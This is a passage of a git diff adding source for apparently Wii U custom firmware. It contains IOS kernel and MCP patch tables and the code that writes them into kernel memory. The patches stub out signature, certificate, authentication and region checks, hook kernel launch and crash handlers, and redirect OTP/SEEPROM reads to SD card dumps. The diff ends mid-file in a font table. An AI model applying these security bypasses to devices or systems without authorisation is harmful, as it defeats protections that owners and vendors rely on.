@@ -0,0 +1,32 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef _MCP_PATCHES_H_ +#define _MCP_PATCHES_H_ + +#define MCP_LAUNCH_IMG_PHYS_ADDR (0x27000000) + +u32 mcp_get_phys_code_base(void); +void mcp_run_patches(u32 ios_elf_start); + +#endif diff --git a/ios_kernel/source/ios_mcp_patches_asm.s b/ios_kernel/source/ios_mcp_patches_asm.s new file mode 100644 index 0000000..2b42c08 --- /dev/null +++ b/ios_kernel/source/ios_mcp_patches_asm.s @@ -0,0 +1,39 @@ +.arm + +#patch_os_launch_sig_check: +# .thumb +# mov r0, #0 +# mov r0, #0 + +patch_MCP_authentication_check: + .thumb + mov r0, #0 + bx lr + +patch_IOSC_VerifyPubkeySign: +patch_cert_verification: +patch_cached_cert_check: +patch_bootMovie_check: +patch_bootLogoTex_check: +patch_region_launch_check: + .arm + mov r0, #0 + bx lr + + +.globl mcp_patches_table, mcp_patches_table_end +mcp_patches_table: +# origin data size +# .word 0x0500A818, patch_os_launch_sig_check, 4 + .word 0x05014CAC, patch_MCP_authentication_check, 4 + .word 0x05052C44, patch_IOSC_VerifyPubkeySign, 8 + .word 0x05052A90, patch_cert_verification, 8 + .word 0x05054D6C, patch_cached_cert_check, 8 +# over an hour, MCP crash prevention + .word 0x05022474, 0xFFFFFFFF, 4 +# MCP patches end here actually but lets tread the ACP patches as MCP as there are only patches + .word 0xE0030D68, patch_bootMovie_check, 4 + .word 0xE0030D34, patch_bootLogoTex_check, 4 + .word 0xE0030498, patch_region_launch_check, 4 +mcp_patches_table_end: + diff --git a/ios_kernel/source/kernel_patches.c b/ios_kernel/source/kernel_patches.c new file mode 100644 index 0000000..ea49b64 --- /dev/null +++ b/ios_kernel/source/kernel_patches.c @@ -0,0 +1,108 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "types.h" +#include "elf_patcher.h" +#include "kernel_patches.h" +#include "exception_handler.h" +#include "fsa.h" +#include "config.h" +#include "utils.h" + +extern void __KERNEL_CODE_START(void); +extern void __KERNEL_CODE_END(void); + +extern const patch_table_t kernel_patches_table[]; +extern const patch_table_t kernel_patches_table_end[]; + +static u8 otp_buffer[0x400]; + +static const u32 mcpIoMappings_patch[] = +{ + // vaddr paddr size ? ? ? + 0x0D000000, 0x0D000000, 0x001C0000, 0x00000000, 0x00000003, 0x00000000, // mapping 1 + 0x0D800000, 0x0D800000, 0x001C0000, 0x00000000, 0x00000003, 0x00000000, // mapping 2 + 0x0C200000, 0x0C200000, 0x00100000, 0x00000000, 0x00000003, 0x00000000 // mapping 3 +}; + +static const u32 KERNEL_MCP_IOMAPPINGS_STRUCT[] = +{ + (u32)mcpIoMappings_patch, // ptr to iomapping structs + 0x00000003, // number of iomappings + 0x00000001 // pid (MCP) +}; + +static u32 kernel_syscall_0x81(u32 address) +{ + return *(volatile u32*)address; +} + +static int kernel_read_otp_internal(int index, void* out_buf, u32 size) +{ + kernel_memcpy(out_buf, otp_buffer + (index << 2), size); + return 0; +} + +int kernel_init_otp_buffer(u32 sd_sector, int tagValid) +{ + int res; + + if(tagValid) + { + res = FSA_SDReadRawSectors(otp_buffer, sd_sector, 2); + } + else + { + int (*orig_kernel_read_otp_internal)(int index, void* out_buf, u32 size) = (void*)0x08120248; + res = orig_kernel_read_otp_internal(0, otp_buffer, 0x400); + } + + if((res == 0) && !tagValid) + { + FSA_SDWriteRawSectors(otp_buffer, sd_sector, 2); + } + return res; +} + +void kernel_run_patches(u32 ios_elf_start) +{ + section_write(ios_elf_start, (u32)__KERNEL_CODE_START, __KERNEL_CODE_START, __KERNEL_CODE_END - __KERNEL_CODE_START); + section_write_word(ios_elf_start, 0x0812A120, ARM_BL(0x0812A120, kernel_launch_ios)); + + section_write(ios_elf_start, 0x08140DE0, KERNEL_MCP_IOMAPPINGS_STRUCT, sizeof(KERNEL_MCP_IOMAPPINGS_STRUCT)); + + section_write_word(ios_elf_start, 0x0812A134, ARM_BL(0x0812A134, crash_handler_prefetch)); + section_write_word(ios_elf_start, 0x0812A1AC, ARM_BL(0x0812A1AC, crash_handler_data)); + section_write_word(ios_elf_start, 0x08129E50, ARM_BL(0x08129E50, crash_handler_undef_instr)); + + section_write_word(ios_elf_start, 0x0812CD2C, ARM_B(0x0812CD2C, kernel_syscall_0x81)); + + if(cfw_config.redNAND && cfw_config.otp_red) + { + section_write(ios_elf_start, (u32)otp_buffer, otp_buffer, 0x400); + section_write_word(ios_elf_start, 0x08120248, ARM_B(0x08120248, kernel_read_otp_internal)); + } + + u32 patch_count = (u32)(((u8*)kernel_patches_table_end) - ((u8*)kernel_patches_table)) / sizeof(patch_table_t); + patch_table_entries(ios_elf_start, kernel_patches_table, patch_count); +} diff --git a/ios_kernel/source/kernel_patches.h b/ios_kernel/source/kernel_patches.h new file mode 100644 index 0000000..c04e6aa --- /dev/null +++ b/ios_kernel/source/kernel_patches.h @@ -0,0 +1,31 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef _KERNEL_PATCHES_H +#define _KERNEL_PATCHES_H + +int kernel_init_otp_buffer(u32 sd_sector, int tagValid); +void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H); +void kernel_run_patches(u32 ios_elf_start); + +#endif diff --git a/ios_kernel/source/kernel_patches_asm.s b/ios_kernel/source/kernel_patches_asm.s new file mode 100644 index 0000000..85bd157 --- /dev/null +++ b/ios_kernel/source/kernel_patches_asm.s @@ -0,0 +1,17 @@ +.arm +.align 4 +patch_kernel_domains: + str r3, [r7,#0x10] + str r3, [r7,#0x0C] + str r3, [r7,#0x04] + str r3, [r7,#0x14] + str r3, [r7,#0x08] + str r3, [r7,#0x34] +patch_kernel_domains_end: + +.globl kernel_patches_table, kernel_patches_table_end +kernel_patches_table: +# origin data size + .word 0x081253C4, patch_kernel_domains, (kernel_patches_table_end - kernel_patches_table) +kernel_patches_table_end: + diff --git a/ios_kernel/source/main.c b/ios_kernel/source/main.c new file mode 100644 index 0000000..eb8a2d6 --- /dev/null +++ b/ios_kernel/source/main.c @@ -0,0 +1,246 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "types.h" +#include "elf_abi.h" +#include "elf_patcher.h" +#include "kernel_patches.h" +#include "ios_mcp_patches.h" +#include "ios_fs_patches.h" +#include "ios_bsp_patches.h" +#include "config.h" +#include "fsa.h" +#include "utils.h" + +#define USB_PHYS_CODE_BASE 0x101312D0 + +cfw_config_t cfw_config; + +typedef struct +{ + u32 size; + u8 data[0]; +} payload_info_t; + +static const char repairData_set_fault_behavior[] = { + 0xE1,0x2F,0xFF,0x1E,0xE9,0x2D,0x40,0x30,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x40,0x00, + 0xE5,0x92,0x30,0x54,0xE1,0xA0,0x50,0x01,0xE3,0x53,0x00,0x01,0x0A,0x00,0x00,0x02, + 0xE1,0x53,0x00,0x00,0xE3,0xE0,0x00,0x00,0x18,0xBD,0x80,0x30,0xE3,0x54,0x00,0x0D, +}; +static const char repairData_set_panic_behavior[] = { + 0x08,0x16,0x6C,0x00,0x00,0x00,0x18,0x0C,0x08,0x14,0x40,0x00,0x00,0x00,0x9D,0x70, + 0x08,0x16,0x84,0x0C,0x00,0x00,0xB4,0x0C,0x00,0x00,0x01,0x01,0x08,0x14,0x40,0x00, + 0x08,0x15,0x00,0x00,0x08,0x17,0x21,0x80,0x08,0x17,0x38,0x00,0x08,0x14,0x30,0xD4, + 0x08,0x14,0x12,0x50,0x08,0x14,0x12,0x94,0xE3,0xA0,0x35,0x36,0xE5,0x93,0x21,0x94, + 0xE3,0xC2,0x2E,0x21,0xE5,0x83,0x21,0x94,0xE5,0x93,0x11,0x94,0xE1,0x2F,0xFF,0x1E, + 0xE5,0x9F,0x30,0x1C,0xE5,0x9F,0xC0,0x1C,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x10,0x00, + 0xE5,0x92,0x30,0x54,0xE5,0x9C,0x00,0x00, +}; +static const char repairData_usb_root_thread[] = { + 0xE5,0x8D,0xE0,0x04,0xE5,0x8D,0xC0,0x08,0xE5,0x8D,0x40,0x0C,0xE5,0x8D,0x60,0x10, + 0xEB,0x00,0xB2,0xFD,0xEA,0xFF,0xFF,0xC9,0x10,0x14,0x03,0xF8,0x10,0x62,0x4D,0xD3, + 0x10,0x14,0x50,0x00,0x10,0x14,0x50,0x20,0x10,0x14,0x00,0x00,0x10,0x14,0x00,0x90, + 0x10,0x14,0x00,0x70,0x10,0x14,0x00,0x98,0x10,0x14,0x00,0x84,0x10,0x14,0x03,0xE8, + 0x10,0x14,0x00,0x3C,0x00,0x00,0x01,0x73,0x00,0x00,0x01,0x76,0xE9,0x2D,0x4F,0xF0, + 0xE2,0x4D,0xDE,0x17,0xEB,0x00,0xB9,0x92,0xE3,0xA0,0x10,0x00,0xE3,0xA0,0x20,0x03, + 0xE5,0x9F,0x0E,0x68,0xEB,0x00,0xB3,0x20, +}; + +void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H) +{ + void (*kernel_launch_bootrom)(u32 launch_address, u32 L, u32 C, u32 H) = (void*)0x0812A050; + + if(*(u32*)(launch_address - 0x300 + 0x1AC) == 0x00DFD000) + { + int(*disable_interrupts)() = (int(*)())0x0812E778; + int(*enable_interrupts)(int) = (int(*)(int))0x0812E78C; + + int level = disable_interrupts(); + unsigned int control_register = disable_mmu(); + + u32 ios_elf_start = launch_address + 0x804 - 0x300; + + //! try to keep the order of virt. addresses to reduce the memmove amount + mcp_run_patches(ios_elf_start); + kernel_run_patches(ios_elf_start); + + if(cfw_config.redNAND) + { + fs_run_patches(ios_elf_start); + + if(cfw_config.seeprom_red) + bsp_run_patches(ios_elf_start); + } + + restore_mmu(control_register); + enable_interrupts(level); + } + + kernel_launch_bootrom(launch_address, L, C, H); +} + + +int BSP_EEPROM_ReadData(void *buffer, int offset, int size); + +int _main() +{ + int(*disable_interrupts)() = (int(*)())0x0812E778; + int(*enable_interrupts)(int) = (int(*)(int))0x0812E78C; + void(*invalidate_icache)() = (void(*)())0x0812DCF0; + void(*invalidate_dcache)(unsigned int, unsigned int) = (void(*)())0x08120164; + void(*flush_dcache)(unsigned int, unsigned int) = (void(*)())0x08120160; + + flush_dcache(0x081200F0, 0x4001); // giving a size >= 0x4000 flushes all cache + + int level = disable_interrupts(); + + unsigned int control_register = disable_mmu(); + + /* Save the request handle so we can reply later */ + *(volatile u32*)0x0012F000 = *(volatile u32*)0x1016AD18; + + /* Patch kernel_error_handler to BX LR immediately */ + *(volatile u32*)0x08129A24 = 0xE12FFF1E; + + void * pset_fault_behavior = (void*)0x081298BC; + kernel_memcpy(pset_fault_behavior, (void*)repairData_set_fault_behavior, sizeof(repairData_set_fault_behavior)); + + void * pset_panic_behavior = (void*)0x081296E4; + kernel_memcpy(pset_panic_behavior, (void*)repairData_set_panic_behavior, sizeof(repairData_set_panic_behavior)); + + void * pusb_root_thread = (void*)0x10100174; + kernel_memcpy(pusb_root_thread, (void*)repairData_usb_root_thread, sizeof(repairData_usb_root_thread)); + + payload_info_t *payloads = (payload_info_t*)0x00148000; + + kernel_memcpy((void*)&cfw_config, payloads->data, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + + kernel_memcpy((void*)USB_PHYS_CODE_BASE, payloads->data, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + + if(cfw_config.redNAND) + { + kernel_memcpy((void*)fs_get_phys_code_base(), payloads->data, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + + if(cfw_config.seeprom_red) + { + kernel_memcpy((void*)bsp_get_phys_code_base(), payloads->data, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + } + } + + kernel_memcpy((void*)mcp_get_phys_code_base(), payloads->data, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + + if(cfw_config.launchImage) + { + kernel_memcpy((void*)MCP_LAUNCH_IMG_PHYS_ADDR, payloads->data, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + } + else + { + *(u32*)MCP_LAUNCH_IMG_PHYS_ADDR = 0; + } + + // patch FSA raw access + *(volatile u32*)0x1070FAE8 = 0x05812070; + *(volatile u32*)0x1070FAEC = 0xEAFFFFF9; + + *(volatile u32*)0x0812A120 = ARM_BL(0x0812A120, kernel_launch_ios); + *(volatile u32*)(0x1555500) = 0; + + /* REENABLE MMU */ + restore_mmu(control_register); + + invalidate_dcache(0x081298BC, 0x4001); // giving a size >= 0x4000 invalidates all cache + invalidate_icache(); + + enable_interrupts(level); + + if(cfw_config.redNAND) + { + int seepromDumpFound = 0; + u32 seepromDumpBaseSector = 0x4FF; + int otpDumpFound = 0; + u32 otpDumpBaseSector = 0x4FD; + int writeInfoSector = 0; + sdio_nand_signature_sector_t *infoSector = (sdio_nand_signature_sector_t*)0x00141000; + kernel_memset(infoSector, 0x00, 0x200); + + FSA_SDReadRawSectors(infoSector, NAND_DUMP_SIGNATURE_SECTOR, 1); + + if(infoSector->signature == NAND_DUMP_SIGNATURE) + { + int i; + for(i = 0; i < 6; i++) + { + if(infoSector->nand_descriptions[i].nand_type == NAND_DESC_TYPE_SEEPROM) + { + seepromDumpFound = 1; + seepromDumpBaseSector = infoSector->nand_descriptions[i].base_sector; + } + if(infoSector->nand_descriptions[i].nand_type == NAND_DESC_TYPE_OTP) + { + otpDumpFound = 1; + otpDumpBaseSector = infoSector->nand_descriptions[i].base_sector; + } + } + } + + if(cfw_config.seeprom_red) + { + bsp_init_seeprom_buffer(seepromDumpBaseSector, seepromDumpFound); + + if(seepromDumpBaseSector == 0) + { + infoSector->nand_descriptions[3].nand_type = NAND_DESC_TYPE_SEEPROM; + infoSector->nand_descriptions[3].base_sector = seepromDumpBaseSector; + infoSector->nand_descriptions[3].sector_count = 1; + writeInfoSector++; + } + } + + if(cfw_config.otp_red) + { + kernel_init_otp_buffer(otpDumpBaseSector, otpDumpFound); + + if(otpDumpFound == 0) + { + infoSector->nand_descriptions[4].nand_type = NAND_DESC_TYPE_OTP; + infoSector->nand_descriptions[4].base_sector = otpDumpBaseSector; + infoSector->nand_descriptions[4].sector_count = 2; + writeInfoSector++; + } + } + + + if(writeInfoSector > 1) + { + FSA_SDWriteRawSectors(infoSector, NAND_DUMP_SIGNATURE_SECTOR, 1); + } + } + + return 0; +} diff --git a/ios_kernel/source/text.c b/ios_kernel/source/text.c new file mode 100644 index 0000000..0b7d99b --- /dev/null +++ b/ios_kernel/source/text.c @@ -0,0 +1,96 @@ +#include +#include +#include +#include + +#include "types.h" +#include "font_bin.h" + +#define FRAMEBUFFER_ADDRESS (0x14000000+0x38C0000) +#define FRAMEBUFFER_STRIDE (0xE00) +#define FRAMEBUFFER_STRIDE_WORDS (FRAMEBUFFER_STRIDE >> 2) + +#define CHAR_MULT 2 +#define CHAR_SIZE_X 8 +#define CHAR_SIZE_Y 8 + + +u32* const framebuffer = (u32*)FRAMEBUFFER_ADDRESS; + +void clearScreen(u32 color) +{ + int i; + for(i = 0; i < 896 * 504; i++) + { + framebuffer[i] = color; + } +} + +void drawCharacter(char c, int x, int y) +{ + if(c < 32)return; + c -= 32; + u8* charData = (u8*)&font_bin[(int)c << 3]; + u32* fb = &framebuffer[x + y * FRAMEBUFFER_STRIDE_WORDS]; + int i, j, n, k; + for(i = 0; i < CHAR_SIZE_Y; i++) + { + for(k = 0; k < CHAR_MULT; k++) + { + u8 v = *charData; + + for(j = 0; j < CHAR_SIZE_X; j++) + { + for(n = 0; n < CHAR_MULT; n++) + { + if(v & 1) + { + *fb = 0x00000000; + } + else + { + *fb = 0xFFFFFFFF; + } + fb++; + } + v >>= 1; + } + fb += FRAMEBUFFER_STRIDE_WORDS - CHAR_SIZE_X * CHAR_MULT; + } + charData++; + } +} + +void drawString(char* str, int x, int y) +{ + if(!str) return; + int k; + int dx = 0, dy = 0; + for(k = 0; str[k]; k++) + { + if(str[k] >= 32 && str[k] < 128) + drawCharacter(str[k], x + dx, y + dy); + + dx += CHAR_SIZE_X * CHAR_MULT; + + if(str[k] == '\n') + { + dx = 0; + dy -= CHAR_SIZE_Y * CHAR_MULT; + } + } +} + +void _printf(int x, int y, const char *format, ...) +{ + void (*kernel_vsnprintf)(char * s, size_t n, const char * format, va_list arg) = (void*)0x0813293C; + + va_list args; + va_start(args, format); + static char buffer[0x100]; + + kernel_vsnprintf(buffer, 0xFF, format, args); + drawString(buffer, x, y); + + va_end(args); +} diff --git a/ios_kernel/source/text.h b/ios_kernel/source/text.h new file mode 100644 index 0000000..816db49 --- /dev/null +++ b/ios_kernel/source/text.h @@ -0,0 +1,11 @@ +#ifndef TEXT_H +#define TEXT_H + +#include "types.h" + +void drawSplashScreen(void); +void clearScreen(u32 color); +void drawString(char* str, int x, int y); +void _printf(int x, int y, const char *format, ...); + +#endif diff --git a/ios_kernel/source/types.h b/ios_kernel/source/types.h new file mode 100644 index 0000000..5d8eced --- /dev/null +++ b/ios_kernel/source/types.h @@ -0,0 +1,16 @@ +#ifndef _TYPES_H +#define _TYPES_H + +#include + +typedef uint8_t u8; +typedef uint16_t u16; +typedef uint32_t u32; +typedef uint64_t u64; + +typedef int8_t s8; +typedef int16_t s16; +typedef int32_t s32; +typedef int64_t s64; + +#endif diff --git a/ios_kernel/source/utils.c b/ios_kernel/source/utils.c new file mode 100644 index 0000000..8ce65ae --- /dev/null +++ b/ios_kernel/source/utils.c @@ -0,0 +1,92 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ + +// this memcpy is optimized for speed and to work with MEM1 32 bit access alignment requirement +void reverse_memcpy(void* dst, const void* src, unsigned int size) +{ + const unsigned char *src_p; + unsigned char *dst_p; + + if((size >= 4) && !((dst - src) & 3)) + { + const unsigned int *src_p32; + unsigned int *dst_p32; + unsigned int endDst = ((unsigned int)dst) + size; + unsigned int endRest = endDst & 3; + + if(endRest) + { + src_p = ((const unsigned char*)(src + size)) - 1; + dst_p = ((unsigned char*)endDst) - 1; + size -= endRest; + + while(endRest--) + *dst_p-- = *src_p--; + } + + src_p32 = ((const unsigned int*)(src + size)) - 1; + dst_p32 = ((unsigned int*)(dst + size)) - 1; + + unsigned int size32 = size >> 5; + if(size32) + { + size &= 0x1F; + + while(size32--) + { + src_p32 -= 8; + dst_p32 -= 8; + + dst_p32[8] = src_p32[8]; + dst_p32[7] = src_p32[7]; + dst_p32[6] = src_p32[6]; + dst_p32[5] = src_p32[5]; + dst_p32[4] = src_p32[4]; + dst_p32[3] = src_p32[3]; + dst_p32[2] = src_p32[2]; + dst_p32[1] = src_p32[1]; + } + } + + unsigned int size4 = size >> 2; + if(size4) + { + size &= 3; + + while(size4--) + *dst_p32-- = *src_p32--; + } + + dst_p = ((unsigned char*)dst_p32) + 3; + src_p = ((const unsigned char*)src_p32) + 3; + } + else + { + dst_p = ((unsigned char*)dst) + size - 1; + src_p = ((const unsigned char*)src) + size - 1; + } + + while(size--) + *dst_p-- = *src_p--; +} diff --git a/ios_kernel/source/utils.h b/ios_kernel/source/utils.h new file mode 100644 index 0000000..47a2a71 --- /dev/null +++ b/ios_kernel/source/utils.h @@ -0,0 +1,49 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef _UTILS_H +#define _UTILS_H + +#define ALIGN4(x) (((x) + 3) & ~3) + +#define kernel_memcpy ((void * (*)(void*, const void*, int))0x08131D04) +#define kernel_memset ((void *(*)(void*, int, unsigned int))0x08131DA0) +#define kernel_strncpy ((char *(*)(char*, const char*, unsigned int))0x081329B8) +#define kernel_bsp_command_5 ((int (*)(const char*, int offset, const char*, int size, void *buffer))0x0812EC40) + +void reverse_memcpy(void* dest, const void* src, unsigned int size); + +static inline unsigned int disable_mmu(void) +{ + unsigned int control_register = 0; + asm volatile("MRC p15, 0, %0, c1, c0, 0" : "=r" (control_register)); + asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (control_register & 0xFFFFEFFA)); + return control_register; +} + +static inline void restore_mmu(unsigned int control_register) +{ + asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (control_register)); +} + +#endif diff --git a/ios_mcp/Makefile b/ios_mcp/Makefile new file mode 100644 index 0000000..083d180 --- /dev/null +++ b/ios_mcp/Makefile @@ -0,0 +1,80 @@ +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) +export PATH:=$(DEVKITARM)/bin:$(PATH) +endif + +CC = arm-none-eabi-gcc +LINK = arm-none-eabi-gcc +AS = arm-none-eabi-as +OBJCOPY = arm-none-eabi-objcopy +OBJDUMP = arm-none-eabi-objdump +CFLAGS += -Wall -mbig-endian -std=gnu11 -mcpu=arm926ej-s -msoft-float -mfloat-abi=soft -Os +LDFLAGS += -nostartfiles -nodefaultlibs -mbig-endian -Wl,-T,link.ld +LIBDIRS += -L$(CURDIR)/../libs +LIBS += -lgcc + +CFILES = $(wildcard source/*.c) +BINFILES = $(wildcard data/*.bin) +OFILES = $(BINFILES:data/%.bin=build/%.bin.o) +OFILES += $(CFILES:source/%.c=build/%.o) +DFILES = $(CFILES:source/%.c=build/%.d) +SFILES = $(wildcard source/*.s) +OFILES += $(SFILES:source/%.s=build/%.o) +PROJECTNAME = ${shell basename "$(CURDIR)"} +CWD = "$(CURDIR)"" + +#--------------------------------------------------------------------------------- +# canned command sequence for binary data, taken from devkitARM +#--------------------------------------------------------------------------------- +define bin2o + bin2s $< | $(AS) -EB -o $(@) +endef + +.PHONY:=all dirs + +all: dirs $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h + +dirs: + @mkdir -p build + +$(PROJECTNAME).elf: $(OFILES) + @echo "LD $@" + @$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(sort $(filter-out build/crt0.o, $(OFILES))) $(LIBDIRS) $(LIBS) + +$(PROJECTNAME).bin: $(PROJECTNAME).elf + @echo "OBJCOPY $@\n" + @$(OBJCOPY) -j .text -j .rodata -j .data -O binary $(PROJECTNAME).elf $@ + +$(PROJECTNAME).bin.h: $(PROJECTNAME).bin + @xxd -i $< | sed "s/unsigned/static const unsigned/g;s/$(PROJECTNAME)$*/$(PROJECTNAME)/g" > $@ + +$(PROJECTNAME)_syms.h: + @echo "#ifndef $(PROJECTNAME)_SYMS_H" > $@ + @echo "#define $(PROJECTNAME)_SYMS_H" >> $@ + @$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep 'g F .text' | grep -v '.hidden' | awk '{print "#define " $$6 " 0x" $$1}' >> $@ + @$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep -e 'g .text' -e '_bss_' | awk '{print "#define " $$5 " 0x" $$1}' >> $@ + @echo "#endif" >> $@ + +clean: + @rm -f build/*.o build/*.d + @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h + @echo "all cleaned up !" + +-include $(DFILES) + +build/%.o: source/%.c + @echo "CC $(notdir $<)" + @$(CC) $(CFLAGS) -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.o: source/%.s + @echo "CC $(notdir $<)" + @$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.bin.o: data/%.bin + @echo "BIN $(notdir $<)" + @$(bin2o) diff --git a/ios_mcp/link.ld b/ios_mcp/link.ld new file mode 100644 index 0000000..89a76a1 --- /dev/null +++ b/ios_mcp/link.ld @@ -0,0 +1,23 @@ +OUTPUT_ARCH(arm) + +SECTIONS +{ + .text 0x05116000 : { + _text_start = .; + build/crt0.o(.init) + *(.text*) + *(.rodata*) + } + _text_end = .; + + .bss 0x050BE000 : { + _bss_start = .; + *(.bss*); + } + _bss_end = .; + + /DISCARD/ : { + *(*); + } +} + diff --git a/ios_mcp/source/crt0.s b/ios_mcp/source/crt0.s new file mode 100644 index 0000000..7874223 --- /dev/null +++ b/ios_mcp/source/crt0.s @@ -0,0 +1,14 @@ +.section ".init" +.arm +.align 4 + +.extern _startMainThread +.type _startMainThread, %function + +mcpMainThread_hook: + mov r11, r0 + push {r0-r11,lr} + + bl _startMainThread + + pop {r0-r11,pc} diff --git a/ios_mcp/source/font.c b/ios_mcp/source/font.c new file mode 100644 index 0000000..91aef28 --- /dev/null +++ b/ios_mcp/source/font.c @@ -0,0 +1,49 @@ +const unsigned char font_bin[] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x30, 0x18, 0x18, 0x00, 0x0C, 0x00, + 0x00, 0x22, 0x22, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x66, 0xFF, 0x66, 0xFF, 0x66, 0x66, + 0x00, 0x18, 0x7C, 0x06, 0x3C, 0x60, 0x3E, 0x18, 0x10, 0x46, 0x66, 0x30, 0x18, 0x0C, 0x66, 0x62, + 0x00, 0x3C, 0x66, 0x3C, 0x1C, 0xE6, 0x66, 0xFC, 0x00, 0x18, 0x0C, 0x06, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x30, 0x18, 0x0C, 0x0C, 0x18, 0x30, 0x00, 0x00, 0x0C, 0x18, 0x30, 0x30, 0x18, 0x0C, 0x00, + 0x00, 0x66, 0x3C, 0xFF, 0x3C, 0x66, 0x00, 0x00, 0x00, 0x18, 0x18, 0x7E, 0x18, 0x18, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x00, 0x00, 0x40, 0x60, 0x30, 0x18, 0x0C, 0x06, 0x00, + 0x00, 0x3C, 0x66, 0x76, 0x6E, 0x66, 0x3C, 0x00, 0x00, 0x18, 0x1C, 0x18, 0x18, 0x18, 0x7E, 0x00, + 0x00, 0x3C, 0x62, 0x30, 0x0C, 0x06, 0x7E, 0x00, 0x00, 0x3C, 0x62, 0x38, 0x60, 0x66, 0x3C, 0x00, + 0x00, 0x6C, 0x6C, 0x66, 